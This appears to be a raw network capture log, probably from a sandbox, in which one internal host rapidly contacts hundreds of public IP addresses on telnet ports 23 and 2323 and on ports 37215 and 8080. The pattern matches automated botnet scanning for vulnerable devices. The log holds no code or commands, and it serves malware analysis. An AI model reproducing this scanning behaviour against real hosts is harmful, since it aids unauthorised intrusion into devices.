Dec 26, 2023 21:22:43.101933956 CET	36253	23	192.168.2.23	191.25.141.139
Dec 26, 2023 21:22:43.101933956 CET	36253	2323	192.168.2.23	108.165.184.17
Dec 26, 2023 21:22:43.101942062 CET	36253	23	192.168.2.23	45.240.66.124
Dec 26, 2023 21:22:43.101942062 CET	36253	23	192.168.2.23	186.236.148.232
Dec 26, 2023 21:22:43.101948977 CET	36253	2323	192.168.2.23	45.82.3.242
Dec 26, 2023 21:22:43.101948977 CET	36253	23	192.168.2.23	27.161.123.62
Dec 26, 2023 21:22:43.101949930 CET	36253	23	192.168.2.23	137.33.111.182
Dec 26, 2023 21:22:43.101949930 CET	36253	23	192.168.2.23	140.82.175.255
Dec 26, 2023 21:22:43.101950884 CET	36253	23	192.168.2.23	208.107.12.191
Dec 26, 2023 21:22:43.101963043 CET	36253	23	192.168.2.23	110.107.161.139
Dec 26, 2023 21:22:43.101964951 CET	36253	2323	192.168.2.23	139.240.61.201
Dec 26, 2023 21:22:43.101964951 CET	36253	23	192.168.2.23	2.134.35.204
Dec 26, 2023 21:22:43.101964951 CET	36253	23	192.168.2.23	18.247.196.213
Dec 26, 2023 21:22:43.101968050 CET	36253	23	192.168.2.23	24.210.79.110
Dec 26, 2023 21:22:43.101968050 CET	36253	23	192.168.2.23	222.76.136.31
Dec 26, 2023 21:22:43.101969957 CET	36253	23	192.168.2.23	140.233.10.160
Dec 26, 2023 21:22:43.101969957 CET	36253	23	192.168.2.23	77.105.180.229
Dec 26, 2023 21:22:43.101969957 CET	36253	23	192.168.2.23	151.91.26.166
Dec 26, 2023 21:22:43.101972103 CET	36253	23	192.168.2.23	64.211.53.106
Dec 26, 2023 21:22:43.101972103 CET	36253	23	192.168.2.23	18.221.107.109
Dec 26, 2023 21:22:43.101974964 CET	36253	23	192.168.2.23	38.24.161.24
Dec 26, 2023 21:22:43.101983070 CET	36253	23	192.168.2.23	218.156.158.73
Dec 26, 2023 21:22:43.102849007 CET	45981	37215	192.168.2.23	41.114.237.60
Dec 26, 2023 21:22:43.102852106 CET	45981	37215	192.168.2.23	41.73.209.60
Dec 26, 2023 21:22:43.102861881 CET	45981	37215	192.168.2.23	41.186.45.107
Dec 26, 2023 21:22:43.102895021 CET	45981	37215	192.168.2.23	41.154.30.61
Dec 26, 2023 21:22:43.102896929 CET	45981	37215	192.168.2.23	41.110.52.59
Dec 26, 2023 21:22:43.102905035 CET	45981	37215	192.168.2.23	41.217.218.219
Dec 26, 2023 21:22:43.102915049 CET	45981	37215	192.168.2.23	41.71.253.50
Dec 26, 2023 21:22:43.102920055 CET	45981	37215	192.168.2.23	41.169.191.223
Dec 26, 2023 21:22:43.102931023 CET	45981	37215	192.168.2.23	41.238.163.191
Dec 26, 2023 21:22:43.102946043 CET	45981	37215	192.168.2.23	41.175.31.125
Dec 26, 2023 21:22:43.102947950 CET	45981	37215	192.168.2.23	41.196.3.86
Dec 26, 2023 21:22:43.102962017 CET	45981	37215	192.168.2.23	41.63.67.225
Dec 26, 2023 21:22:43.102988005 CET	45981	37215	192.168.2.23	41.81.123.222
Dec 26, 2023 21:22:43.102998972 CET	45981	37215	192.168.2.23	41.102.80.229
Dec 26, 2023 21:22:43.103007078 CET	45981	37215	192.168.2.23	41.131.146.118
Dec 26, 2023 21:22:43.103020906 CET	45981	37215	192.168.2.23	41.161.201.176
Dec 26, 2023 21:22:43.103020906 CET	45981	37215	192.168.2.23	41.94.231.46
Dec 26, 2023 21:22:43.103035927 CET	45981	37215	192.168.2.23	41.77.82.121
Dec 26, 2023 21:22:43.103059053 CET	45981	37215	192.168.2.23	41.60.152.212
Dec 26, 2023 21:22:43.103071928 CET	45981	37215	192.168.2.23	41.112.229.184
Dec 26, 2023 21:22:43.103075027 CET	45981	37215	192.168.2.23	41.208.148.251
Dec 26, 2023 21:22:43.103094101 CET	45981	37215	192.168.2.23	41.90.110.198
Dec 26, 2023 21:22:43.103094101 CET	45981	37215	192.168.2.23	41.12.218.91
Dec 26, 2023 21:22:43.103118896 CET	45981	37215	192.168.2.23	41.179.125.96
Dec 26, 2023 21:22:43.103132963 CET	45981	37215	192.168.2.23	41.166.11.114
Dec 26, 2023 21:22:43.103144884 CET	45981	37215	192.168.2.23	41.5.148.157
Dec 26, 2023 21:22:43.103147984 CET	45981	37215	192.168.2.23	41.168.42.186
Dec 26, 2023 21:22:43.103164911 CET	45981	37215	192.168.2.23	41.88.104.98
Dec 26, 2023 21:22:43.103168964 CET	45981	37215	192.168.2.23	41.152.207.206
Dec 26, 2023 21:22:43.103179932 CET	45981	37215	192.168.2.23	41.228.105.228
Dec 26, 2023 21:22:43.103185892 CET	45981	37215	192.168.2.23	41.162.153.18
Dec 26, 2023 21:22:43.103197098 CET	45981	37215	192.168.2.23	41.191.112.119
Dec 26, 2023 21:22:43.103198051 CET	45981	37215	192.168.2.23	41.91.15.31
Dec 26, 2023 21:22:43.103208065 CET	45981	37215	192.168.2.23	41.46.224.138
Dec 26, 2023 21:22:43.103214979 CET	45981	37215	192.168.2.23	41.175.197.212
Dec 26, 2023 21:22:43.103226900 CET	45981	37215	192.168.2.23	41.94.217.244
Dec 26, 2023 21:22:43.103239059 CET	45981	37215	192.168.2.23	41.42.73.35
Dec 26, 2023 21:22:43.103239059 CET	45981	37215	192.168.2.23	41.135.74.65
Dec 26, 2023 21:22:43.103252888 CET	45981	37215	192.168.2.23	41.234.88.145
Dec 26, 2023 21:22:43.103257895 CET	45981	37215	192.168.2.23	41.233.79.7
Dec 26, 2023 21:22:43.103260994 CET	45981	37215	192.168.2.23	41.155.173.215
Dec 26, 2023 21:22:43.103276968 CET	45981	37215	192.168.2.23	41.186.94.232
Dec 26, 2023 21:22:43.103283882 CET	45981	37215	192.168.2.23	41.39.40.213
Dec 26, 2023 21:22:43.103292942 CET	45981	37215	192.168.2.23	41.234.248.31
Dec 26, 2023 21:22:43.103300095 CET	45981	37215	192.168.2.23	41.93.66.149
Dec 26, 2023 21:22:43.103315115 CET	45981	37215	192.168.2.23	41.64.77.9
Dec 26, 2023 21:22:43.103315115 CET	45981	37215	192.168.2.23	41.34.164.140
Dec 26, 2023 21:22:43.103334904 CET	45981	37215	192.168.2.23	41.183.62.184
Dec 26, 2023 21:22:43.103338957 CET	45981	37215	192.168.2.23	41.57.191.146
Dec 26, 2023 21:22:43.103353024 CET	45981	37215	192.168.2.23	41.138.243.160
Dec 26, 2023 21:22:43.103353024 CET	45981	37215	192.168.2.23	41.26.197.230
Dec 26, 2023 21:22:43.103363991 CET	45981	37215	192.168.2.23	41.29.139.181
Dec 26, 2023 21:22:43.103373051 CET	45981	37215	192.168.2.23	41.246.137.114
Dec 26, 2023 21:22:43.103374004 CET	45981	37215	192.168.2.23	41.204.196.183
Dec 26, 2023 21:22:43.103391886 CET	45981	37215	192.168.2.23	41.206.241.5
Dec 26, 2023 21:22:43.103398085 CET	45981	37215	192.168.2.23	41.138.206.175
Dec 26, 2023 21:22:43.103431940 CET	45981	37215	192.168.2.23	41.211.225.168
Dec 26, 2023 21:22:43.103435993 CET	45981	37215	192.168.2.23	41.142.147.186
Dec 26, 2023 21:22:43.103439093 CET	45981	37215	192.168.2.23	41.27.189.66
Dec 26, 2023 21:22:43.103450060 CET	45981	37215	192.168.2.23	41.250.220.159
Dec 26, 2023 21:22:43.103460073 CET	45981	37215	192.168.2.23	41.221.32.66
Dec 26, 2023 21:22:43.103473902 CET	45981	37215	192.168.2.23	41.73.155.162
Dec 26, 2023 21:22:43.103481054 CET	45981	37215	192.168.2.23	41.243.151.104
Dec 26, 2023 21:22:43.103481054 CET	45981	37215	192.168.2.23	41.224.239.162
Dec 26, 2023 21:22:43.103506088 CET	45981	37215	192.168.2.23	41.44.2.171
Dec 26, 2023 21:22:43.103507996 CET	45981	37215	192.168.2.23	41.228.230.166
Dec 26, 2023 21:22:43.103517056 CET	45981	37215	192.168.2.23	41.209.144.202
Dec 26, 2023 21:22:43.103549957 CET	45981	37215	192.168.2.23	41.121.4.16
Dec 26, 2023 21:22:43.103555918 CET	45981	37215	192.168.2.23	41.182.50.9
Dec 26, 2023 21:22:43.103573084 CET	45981	37215	192.168.2.23	41.77.209.251
Dec 26, 2023 21:22:43.103573084 CET	45981	37215	192.168.2.23	41.243.242.58
Dec 26, 2023 21:22:43.103581905 CET	45981	37215	192.168.2.23	41.102.3.93
Dec 26, 2023 21:22:43.103595018 CET	45981	37215	192.168.2.23	41.254.249.54
Dec 26, 2023 21:22:43.103617907 CET	45981	37215	192.168.2.23	41.100.29.115
Dec 26, 2023 21:22:43.103626966 CET	45981	37215	192.168.2.23	41.4.244.55
Dec 26, 2023 21:22:43.103630066 CET	45981	37215	192.168.2.23	41.74.97.221
Dec 26, 2023 21:22:43.103641987 CET	45981	37215	192.168.2.23	41.106.19.93
Dec 26, 2023 21:22:43.103641987 CET	45981	37215	192.168.2.23	41.181.158.186
Dec 26, 2023 21:22:43.103657007 CET	45981	37215	192.168.2.23	41.24.30.39
Dec 26, 2023 21:22:43.103657007 CET	45981	37215	192.168.2.23	41.11.43.202
Dec 26, 2023 21:22:43.103672028 CET	45981	37215	192.168.2.23	41.242.235.9
Dec 26, 2023 21:22:43.103672028 CET	45981	37215	192.168.2.23	41.121.201.137
Dec 26, 2023 21:22:43.103682995 CET	45981	37215	192.168.2.23	41.104.183.2
Dec 26, 2023 21:22:43.103689909 CET	45981	37215	192.168.2.23	41.89.84.144
Dec 26, 2023 21:22:43.103701115 CET	45981	37215	192.168.2.23	41.253.24.163
Dec 26, 2023 21:22:43.103701115 CET	45981	37215	192.168.2.23	41.147.147.113
Dec 26, 2023 21:22:43.103720903 CET	45981	37215	192.168.2.23	41.57.215.12
Dec 26, 2023 21:22:43.103729010 CET	45981	37215	192.168.2.23	41.31.148.53
Dec 26, 2023 21:22:43.103729963 CET	45981	37215	192.168.2.23	41.176.209.157
Dec 26, 2023 21:22:43.103737116 CET	45981	37215	192.168.2.23	41.26.247.123
Dec 26, 2023 21:22:43.103754997 CET	45981	37215	192.168.2.23	41.60.160.135
Dec 26, 2023 21:22:43.103754997 CET	45981	37215	192.168.2.23	41.54.241.209
Dec 26, 2023 21:22:43.103769064 CET	45981	37215	192.168.2.23	41.173.73.26
Dec 26, 2023 21:22:43.103770971 CET	45981	37215	192.168.2.23	41.225.138.45
Dec 26, 2023 21:22:43.103782892 CET	45981	37215	192.168.2.23	41.132.115.227
Dec 26, 2023 21:22:43.103795052 CET	45981	37215	192.168.2.23	41.22.208.138
Dec 26, 2023 21:22:43.103800058 CET	45981	37215	192.168.2.23	41.110.71.135
Dec 26, 2023 21:22:43.103811979 CET	45981	37215	192.168.2.23	41.54.92.211
Dec 26, 2023 21:22:43.103817940 CET	45981	37215	192.168.2.23	41.244.95.145
Dec 26, 2023 21:22:43.103828907 CET	45981	37215	192.168.2.23	41.132.247.185
Dec 26, 2023 21:22:43.103832960 CET	45981	37215	192.168.2.23	41.50.193.220
Dec 26, 2023 21:22:43.103844881 CET	45981	37215	192.168.2.23	41.131.254.187
Dec 26, 2023 21:22:43.103844881 CET	45981	37215	192.168.2.23	41.98.112.133
Dec 26, 2023 21:22:43.103867054 CET	45981	37215	192.168.2.23	41.238.18.198
Dec 26, 2023 21:22:43.103867054 CET	45981	37215	192.168.2.23	41.195.197.32
Dec 26, 2023 21:22:43.103879929 CET	45981	37215	192.168.2.23	41.186.246.116
Dec 26, 2023 21:22:43.103888035 CET	45981	37215	192.168.2.23	41.191.93.154
Dec 26, 2023 21:22:43.103894949 CET	45981	37215	192.168.2.23	41.64.59.177
Dec 26, 2023 21:22:43.103908062 CET	45981	37215	192.168.2.23	41.97.105.88
Dec 26, 2023 21:22:43.103909016 CET	45981	37215	192.168.2.23	41.134.102.184
Dec 26, 2023 21:22:43.104022980 CET	45981	37215	192.168.2.23	41.190.15.22
Dec 26, 2023 21:22:43.104038954 CET	45981	37215	192.168.2.23	41.240.147.5
Dec 26, 2023 21:22:43.104038954 CET	45981	37215	192.168.2.23	41.98.74.62
Dec 26, 2023 21:22:43.104047060 CET	45981	37215	192.168.2.23	41.16.180.196
Dec 26, 2023 21:22:43.104089975 CET	45981	37215	192.168.2.23	41.6.77.95
Dec 26, 2023 21:22:43.104093075 CET	45981	37215	192.168.2.23	41.79.178.195
Dec 26, 2023 21:22:43.104093075 CET	45981	37215	192.168.2.23	41.2.33.246
Dec 26, 2023 21:22:43.104093075 CET	45981	37215	192.168.2.23	41.152.118.56
Dec 26, 2023 21:22:43.104093075 CET	45981	37215	192.168.2.23	41.241.111.38
Dec 26, 2023 21:22:43.104104996 CET	45981	37215	192.168.2.23	41.88.147.164
Dec 26, 2023 21:22:43.104110003 CET	45981	37215	192.168.2.23	41.201.173.173
Dec 26, 2023 21:22:43.104110003 CET	45981	37215	192.168.2.23	41.146.63.37
Dec 26, 2023 21:22:43.104115009 CET	45981	37215	192.168.2.23	41.49.242.250
Dec 26, 2023 21:22:43.104146957 CET	45981	37215	192.168.2.23	41.22.196.113
Dec 26, 2023 21:22:43.104146957 CET	45981	37215	192.168.2.23	41.189.254.41
Dec 26, 2023 21:22:43.104150057 CET	45981	37215	192.168.2.23	41.205.205.236
Dec 26, 2023 21:22:43.104161978 CET	45981	37215	192.168.2.23	41.186.143.180
Dec 26, 2023 21:22:43.104167938 CET	45981	37215	192.168.2.23	41.132.89.130
Dec 26, 2023 21:22:43.104181051 CET	45981	37215	192.168.2.23	41.173.243.199
Dec 26, 2023 21:22:43.104183912 CET	45981	37215	192.168.2.23	41.46.243.177
Dec 26, 2023 21:22:43.104199886 CET	45981	37215	192.168.2.23	41.52.60.8
Dec 26, 2023 21:22:43.104207039 CET	45981	37215	192.168.2.23	41.140.165.182
Dec 26, 2023 21:22:43.104232073 CET	45981	37215	192.168.2.23	41.244.180.178
Dec 26, 2023 21:22:43.104233027 CET	45981	37215	192.168.2.23	41.160.103.146
Dec 26, 2023 21:22:43.104233027 CET	45981	37215	192.168.2.23	41.171.63.236
Dec 26, 2023 21:22:43.104238033 CET	45981	37215	192.168.2.23	41.117.164.163
Dec 26, 2023 21:22:43.104253054 CET	45981	37215	192.168.2.23	41.165.81.67
Dec 26, 2023 21:22:43.104259014 CET	45981	37215	192.168.2.23	41.240.123.89
Dec 26, 2023 21:22:43.104269028 CET	45981	37215	192.168.2.23	41.91.45.208
Dec 26, 2023 21:22:43.104273081 CET	45981	37215	192.168.2.23	41.222.202.38
Dec 26, 2023 21:22:43.104284048 CET	45981	37215	192.168.2.23	41.126.80.87
Dec 26, 2023 21:22:43.104300976 CET	45981	37215	192.168.2.23	41.254.63.34
Dec 26, 2023 21:22:43.104301929 CET	45981	37215	192.168.2.23	41.86.206.46
Dec 26, 2023 21:22:43.104561090 CET	45981	37215	192.168.2.23	41.203.93.29
Dec 26, 2023 21:22:43.104578972 CET	45981	37215	192.168.2.23	41.6.90.76
Dec 26, 2023 21:22:43.104588985 CET	45981	37215	192.168.2.23	41.212.195.212
Dec 26, 2023 21:22:43.104602098 CET	45981	37215	192.168.2.23	41.252.10.167
Dec 26, 2023 21:22:43.104604959 CET	45981	37215	192.168.2.23	41.115.152.185
Dec 26, 2023 21:22:43.104614973 CET	45981	37215	192.168.2.23	41.92.4.136
Dec 26, 2023 21:22:43.104621887 CET	45981	37215	192.168.2.23	41.11.39.10
Dec 26, 2023 21:22:43.104635954 CET	45981	37215	192.168.2.23	41.147.34.175
Dec 26, 2023 21:22:43.104635954 CET	45981	37215	192.168.2.23	41.153.175.82
Dec 26, 2023 21:22:43.104655981 CET	45981	37215	192.168.2.23	41.127.51.73
Dec 26, 2023 21:22:43.104656935 CET	45981	37215	192.168.2.23	41.255.116.36
Dec 26, 2023 21:22:43.104669094 CET	45981	37215	192.168.2.23	41.78.216.85
Dec 26, 2023 21:22:43.104669094 CET	45981	37215	192.168.2.23	41.237.99.25
Dec 26, 2023 21:22:43.104676008 CET	45981	37215	192.168.2.23	41.207.221.201
Dec 26, 2023 21:22:43.104691029 CET	45981	37215	192.168.2.23	41.157.179.219
Dec 26, 2023 21:22:43.104697943 CET	45981	37215	192.168.2.23	41.146.72.155
Dec 26, 2023 21:22:43.104727030 CET	45981	37215	192.168.2.23	41.73.70.230
Dec 26, 2023 21:22:43.106937885 CET	45469	8080	192.168.2.23	95.160.123.61
Dec 26, 2023 21:22:43.106945992 CET	45469	8080	192.168.2.23	62.154.7.60
Dec 26, 2023 21:22:43.106947899 CET	45469	8080	192.168.2.23	31.74.48.139
Dec 26, 2023 21:22:43.106947899 CET	45469	8080	192.168.2.23	94.163.162.215
Dec 26, 2023 21:22:43.106947899 CET	45469	8080	192.168.2.23	94.156.77.61
Dec 26, 2023 21:22:43.106951952 CET	45469	8080	192.168.2.23	95.93.94.223
Dec 26, 2023 21:22:43.106975079 CET	45469	8080	192.168.2.23	62.155.61.103
Dec 26, 2023 21:22:43.106976986 CET	45469	8080	192.168.2.23	31.35.89.124
Dec 26, 2023 21:22:43.106985092 CET	45469	8080	192.168.2.23	85.209.237.221
Dec 26, 2023 21:22:43.106992006 CET	45469	8080	192.168.2.23	62.187.7.165
Dec 26, 2023 21:22:43.106995106 CET	45469	8080	192.168.2.23	31.240.210.214
Dec 26, 2023 21:22:43.107002974 CET	45469	8080	192.168.2.23	31.106.149.172
Dec 26, 2023 21:22:43.107007980 CET	45469	8080	192.168.2.23	94.85.166.214
Dec 26, 2023 21:22:43.107028961 CET	45469	8080	192.168.2.23	85.156.22.245
Dec 26, 2023 21:22:43.107033968 CET	45469	8080	192.168.2.23	95.29.89.192
Dec 26, 2023 21:22:43.107033968 CET	45469	8080	192.168.2.23	62.172.191.161
Dec 26, 2023 21:22:43.107054949 CET	45469	8080	192.168.2.23	62.59.59.162
Dec 26, 2023 21:22:43.107054949 CET	45469	8080	192.168.2.23	62.178.203.15
Dec 26, 2023 21:22:43.107058048 CET	45469	8080	192.168.2.23	94.169.130.67
Dec 26, 2023 21:22:43.107058048 CET	45469	8080	192.168.2.23	62.78.210.161
Dec 26, 2023 21:22:43.107059956 CET	45469	8080	192.168.2.23	31.210.236.123
Dec 26, 2023 21:22:43.107076883 CET	45469	8080	192.168.2.23	95.3.194.63
Dec 26, 2023 21:22:43.107079029 CET	45469	8080	192.168.2.23	31.77.185.29
Dec 26, 2023 21:22:43.107081890 CET	45469	8080	192.168.2.23	31.105.28.85
Dec 26, 2023 21:22:43.107083082 CET	45469	8080	192.168.2.23	85.127.127.102
Dec 26, 2023 21:22:43.107096910 CET	45469	8080	192.168.2.23	94.219.134.246
Dec 26, 2023 21:22:43.107099056 CET	45469	8080	192.168.2.23	31.129.37.163
Dec 26, 2023 21:22:43.107103109 CET	45469	8080	192.168.2.23	95.54.32.213
Dec 26, 2023 21:22:43.107106924 CET	45469	8080	192.168.2.23	31.248.128.22
Dec 26, 2023 21:22:43.107119083 CET	45469	8080	192.168.2.23	94.144.209.20
Dec 26, 2023 21:22:43.107129097 CET	45469	8080	192.168.2.23	31.38.54.251
Dec 26, 2023 21:22:43.107131004 CET	45469	8080	192.168.2.23	85.89.84.158
Dec 26, 2023 21:22:43.107131004 CET	45469	8080	192.168.2.23	31.111.187.234
Dec 26, 2023 21:22:43.107137918 CET	45469	8080	192.168.2.23	95.141.227.59
Dec 26, 2023 21:22:43.107141018 CET	45469	8080	192.168.2.23	85.103.50.83
Dec 26, 2023 21:22:43.107144117 CET	45469	8080	192.168.2.23	31.2.236.83
Dec 26, 2023 21:22:43.107148886 CET	45469	8080	192.168.2.23	95.106.99.59
Dec 26, 2023 21:22:43.107151985 CET	45469	8080	192.168.2.23	62.134.16.196
Dec 26, 2023 21:22:43.107172012 CET	45469	8080	192.168.2.23	31.116.145.209
Dec 26, 2023 21:22:43.107172966 CET	45469	8080	192.168.2.23	62.231.237.220
Dec 26, 2023 21:22:43.107175112 CET	45469	8080	192.168.2.23	85.137.28.178
Dec 26, 2023 21:22:43.107183933 CET	45469	8080	192.168.2.23	95.69.92.178
Dec 26, 2023 21:22:43.107187033 CET	45469	8080	192.168.2.23	62.247.46.26
Dec 26, 2023 21:22:43.107198954 CET	45469	8080	192.168.2.23	85.1.185.7
Dec 26, 2023 21:22:43.107202053 CET	45469	8080	192.168.2.23	85.167.93.33
Dec 26, 2023 21:22:43.107213974 CET	45469	8080	192.168.2.23	31.60.60.197
Dec 26, 2023 21:22:43.107215881 CET	45469	8080	192.168.2.23	95.61.78.98
Dec 26, 2023 21:22:43.107222080 CET	45469	8080	192.168.2.23	85.220.57.203
Dec 26, 2023 21:22:43.107232094 CET	45469	8080	192.168.2.23	94.13.208.235
Dec 26, 2023 21:22:43.107237101 CET	45469	8080	192.168.2.23	94.204.37.30
Dec 26, 2023 21:22:43.107242107 CET	45469	8080	192.168.2.23	62.1.249.90
Dec 26, 2023 21:22:43.107243061 CET	45469	8080	192.168.2.23	95.88.182.71
Dec 26, 2023 21:22:43.107247114 CET	45469	8080	192.168.2.23	94.198.165.174
Dec 26, 2023 21:22:43.107247114 CET	45469	8080	192.168.2.23	62.39.87.116
Dec 26, 2023 21:22:43.107249975 CET	45469	8080	192.168.2.23	62.85.226.95
Dec 26, 2023 21:22:43.107249975 CET	45469	8080	192.168.2.23	95.81.245.170
Dec 26, 2023 21:22:43.107261896 CET	45469	8080	192.168.2.23	31.171.207.211
Dec 26, 2023 21:22:43.107273102 CET	45469	8080	192.168.2.23	94.99.128.181
Dec 26, 2023 21:22:43.107273102 CET	45469	8080	192.168.2.23	62.156.197.157
Dec 26, 2023 21:22:43.107273102 CET	45469	8080	192.168.2.23	62.56.75.214
Dec 26, 2023 21:22:43.107285023 CET	45469	8080	192.168.2.23	94.42.21.59
Dec 26, 2023 21:22:43.107297897 CET	45469	8080	192.168.2.23	85.14.110.254
Dec 26, 2023 21:22:43.107297897 CET	45469	8080	192.168.2.23	31.67.151.93
Dec 26, 2023 21:22:43.107301950 CET	45469	8080	192.168.2.23	62.128.131.57
Dec 26, 2023 21:22:43.107302904 CET	45469	8080	192.168.2.23	62.32.33.133
Dec 26, 2023 21:22:43.107301950 CET	45469	8080	192.168.2.23	94.47.232.193
Dec 26, 2023 21:22:43.107301950 CET	45469	8080	192.168.2.23	94.109.230.224
Dec 26, 2023 21:22:43.107306957 CET	45469	8080	192.168.2.23	85.93.158.205
Dec 26, 2023 21:22:43.107320070 CET	45469	8080	192.168.2.23	95.226.217.206
Dec 26, 2023 21:22:43.107331038 CET	45469	8080	192.168.2.23	31.39.90.93
Dec 26, 2023 21:22:43.107331038 CET	45469	8080	192.168.2.23	31.5.151.249
Dec 26, 2023 21:22:43.107331038 CET	45469	8080	192.168.2.23	85.85.48.133
Dec 26, 2023 21:22:43.107331991 CET	45469	8080	192.168.2.23	94.152.200.117
Dec 26, 2023 21:22:43.107331991 CET	45469	8080	192.168.2.23	94.67.41.198
Dec 26, 2023 21:22:43.107342958 CET	45469	8080	192.168.2.23	85.24.73.192
Dec 26, 2023 21:22:43.107357025 CET	45469	8080	192.168.2.23	31.174.205.100
Dec 26, 2023 21:22:43.107358932 CET	45469	8080	192.168.2.23	85.15.159.90
Dec 26, 2023 21:22:43.107361078 CET	45469	8080	192.168.2.23	95.35.7.40
Dec 26, 2023 21:22:43.107361078 CET	45469	8080	192.168.2.23	85.220.77.132
Dec 26, 2023 21:22:43.107364893 CET	45469	8080	192.168.2.23	94.20.212.140
Dec 26, 2023 21:22:43.107377052 CET	45469	8080	192.168.2.23	31.219.242.254
Dec 26, 2023 21:22:43.107383966 CET	45469	8080	192.168.2.23	62.190.244.251
Dec 26, 2023 21:22:43.107384920 CET	45469	8080	192.168.2.23	95.86.236.40
Dec 26, 2023 21:22:43.107391119 CET	45469	8080	192.168.2.23	95.243.153.164
Dec 26, 2023 21:22:43.107393026 CET	45469	8080	192.168.2.23	95.59.223.109
Dec 26, 2023 21:22:43.107402086 CET	45469	8080	192.168.2.23	85.200.119.21
Dec 26, 2023 21:22:43.107403994 CET	45469	8080	192.168.2.23	95.10.244.34
Dec 26, 2023 21:22:43.107405901 CET	45469	8080	192.168.2.23	62.237.138.59
Dec 26, 2023 21:22:43.107414961 CET	45469	8080	192.168.2.23	85.143.250.127
Dec 26, 2023 21:22:43.107419014 CET	45469	8080	192.168.2.23	85.202.4.61
Dec 26, 2023 21:22:43.107424974 CET	45469	8080	192.168.2.23	31.127.24.174
Dec 26, 2023 21:22:43.107438087 CET	45469	8080	192.168.2.23	94.29.100.149
Dec 26, 2023 21:22:43.107443094 CET	45469	8080	192.168.2.23	62.129.235.166
Dec 26, 2023 21:22:43.107449055 CET	45469	8080	192.168.2.23	95.182.13.225
Dec 26, 2023 21:22:43.107456923 CET	45469	8080	192.168.2.23	31.161.225.182
Dec 26, 2023 21:22:43.107466936 CET	45469	8080	192.168.2.23	85.200.134.150
Dec 26, 2023 21:22:43.107471943 CET	45469	8080	192.168.2.23	62.152.44.152
Dec 26, 2023 21:22:43.107475042 CET	45469	8080	192.168.2.23	62.173.62.132
Dec 26, 2023 21:22:43.107486010 CET	45469	8080	192.168.2.23	85.138.71.50
Dec 26, 2023 21:22:43.107487917 CET	45469	8080	192.168.2.23	85.162.198.63
Dec 26, 2023 21:22:43.107489109 CET	45469	8080	192.168.2.23	94.134.143.68
Dec 26, 2023 21:22:43.107496023 CET	45469	8080	192.168.2.23	94.213.56.19
Dec 26, 2023 21:22:43.107513905 CET	45469	8080	192.168.2.23	31.78.49.152
Dec 26, 2023 21:22:43.107516050 CET	45469	8080	192.168.2.23	95.211.113.196
Dec 26, 2023 21:22:43.107516050 CET	45469	8080	192.168.2.23	85.243.230.204
Dec 26, 2023 21:22:43.107520103 CET	45469	8080	192.168.2.23	62.210.110.63
Dec 26, 2023 21:22:43.107523918 CET	45469	8080	192.168.2.23	31.240.69.97
Dec 26, 2023 21:22:43.107523918 CET	45469	8080	192.168.2.23	31.218.25.202
Dec 26, 2023 21:22:43.107536077 CET	45469	8080	192.168.2.23	31.220.123.43
Dec 26, 2023 21:22:43.107542038 CET	45469	8080	192.168.2.23	31.75.186.128
Dec 26, 2023 21:22:43.107552052 CET	45469	8080	192.168.2.23	31.133.134.27
Dec 26, 2023 21:22:43.107559919 CET	45469	8080	192.168.2.23	62.132.22.111
Dec 26, 2023 21:22:43.107563972 CET	45469	8080	192.168.2.23	62.237.114.181
Dec 26, 2023 21:22:43.107568979 CET	45469	8080	192.168.2.23	94.241.191.35
Dec 26, 2023 21:22:43.107582092 CET	45469	8080	192.168.2.23	62.187.4.74
Dec 26, 2023 21:22:43.107583046 CET	45469	8080	192.168.2.23	62.85.139.131
Dec 26, 2023 21:22:43.107584953 CET	45469	8080	192.168.2.23	94.156.110.45
Dec 26, 2023 21:22:43.107590914 CET	45469	8080	192.168.2.23	85.251.179.43
Dec 26, 2023 21:22:43.107604980 CET	45469	8080	192.168.2.23	85.127.203.237
Dec 26, 2023 21:22:43.107609987 CET	45469	8080	192.168.2.23	85.7.236.150
Dec 26, 2023 21:22:43.107609987 CET	45469	8080	192.168.2.23	85.167.180.219
Dec 26, 2023 21:22:43.107614994 CET	45469	8080	192.168.2.23	94.192.73.108
Dec 26, 2023 21:22:43.107614994 CET	45469	8080	192.168.2.23	62.55.51.90
Dec 26, 2023 21:22:43.107630968 CET	45469	8080	192.168.2.23	31.204.146.114
Dec 26, 2023 21:22:43.107630968 CET	45469	8080	192.168.2.23	31.130.233.189
Dec 26, 2023 21:22:43.107639074 CET	45469	8080	192.168.2.23	62.67.101.67
Dec 26, 2023 21:22:43.107651949 CET	45469	8080	192.168.2.23	62.40.180.220
Dec 26, 2023 21:22:43.107656956 CET	45469	8080	192.168.2.23	94.79.38.148
Dec 26, 2023 21:22:43.107669115 CET	45469	8080	192.168.2.23	85.112.45.47
Dec 26, 2023 21:22:43.107673883 CET	45469	8080	192.168.2.23	31.135.152.129
Dec 26, 2023 21:22:43.107676983 CET	45469	8080	192.168.2.23	31.31.86.188
Dec 26, 2023 21:22:43.107682943 CET	45469	8080	192.168.2.23	62.221.162.200
Dec 26, 2023 21:22:43.107692003 CET	45469	8080	192.168.2.23	31.95.238.186
Dec 26, 2023 21:22:43.107697010 CET	45469	8080	192.168.2.23	95.89.214.220
Dec 26, 2023 21:22:43.107705116 CET	45469	8080	192.168.2.23	62.209.147.220
Dec 26, 2023 21:22:43.107705116 CET	45469	8080	192.168.2.23	94.248.34.251
Dec 26, 2023 21:22:43.107726097 CET	45469	8080	192.168.2.23	62.27.97.67
Dec 26, 2023 21:22:43.107726097 CET	45469	8080	192.168.2.23	95.138.217.202
Dec 26, 2023 21:22:43.107742071 CET	45469	8080	192.168.2.23	85.168.236.137
Dec 26, 2023 21:22:43.107748032 CET	45469	8080	192.168.2.23	85.42.22.120
Dec 26, 2023 21:22:43.107748985 CET	45469	8080	192.168.2.23	95.217.114.24
Dec 26, 2023 21:22:43.107748985 CET	45469	8080	192.168.2.23	62.189.239.28
Dec 26, 2023 21:22:43.107748985 CET	45469	8080	192.168.2.23	31.180.156.163
Dec 26, 2023 21:22:43.107758999 CET	45469	8080	192.168.2.23	85.211.135.144
Dec 26, 2023 21:22:43.107772112 CET	45469	8080	192.168.2.23	95.178.48.22
Dec 26, 2023 21:22:43.107780933 CET	45469	8080	192.168.2.23	85.162.123.174
Dec 26, 2023 21:22:43.107789040 CET	45469	8080	192.168.2.23	94.148.198.15
Dec 26, 2023 21:22:43.107789040 CET	45469	8080	192.168.2.23	95.194.177.56
Dec 26, 2023 21:22:43.107808113 CET	45469	8080	192.168.2.23	95.170.128.6
Dec 26, 2023 21:22:43.107810020 CET	45469	8080	192.168.2.23	94.195.43.188
Dec 26, 2023 21:22:43.107810020 CET	45469	8080	192.168.2.23	94.182.75.126
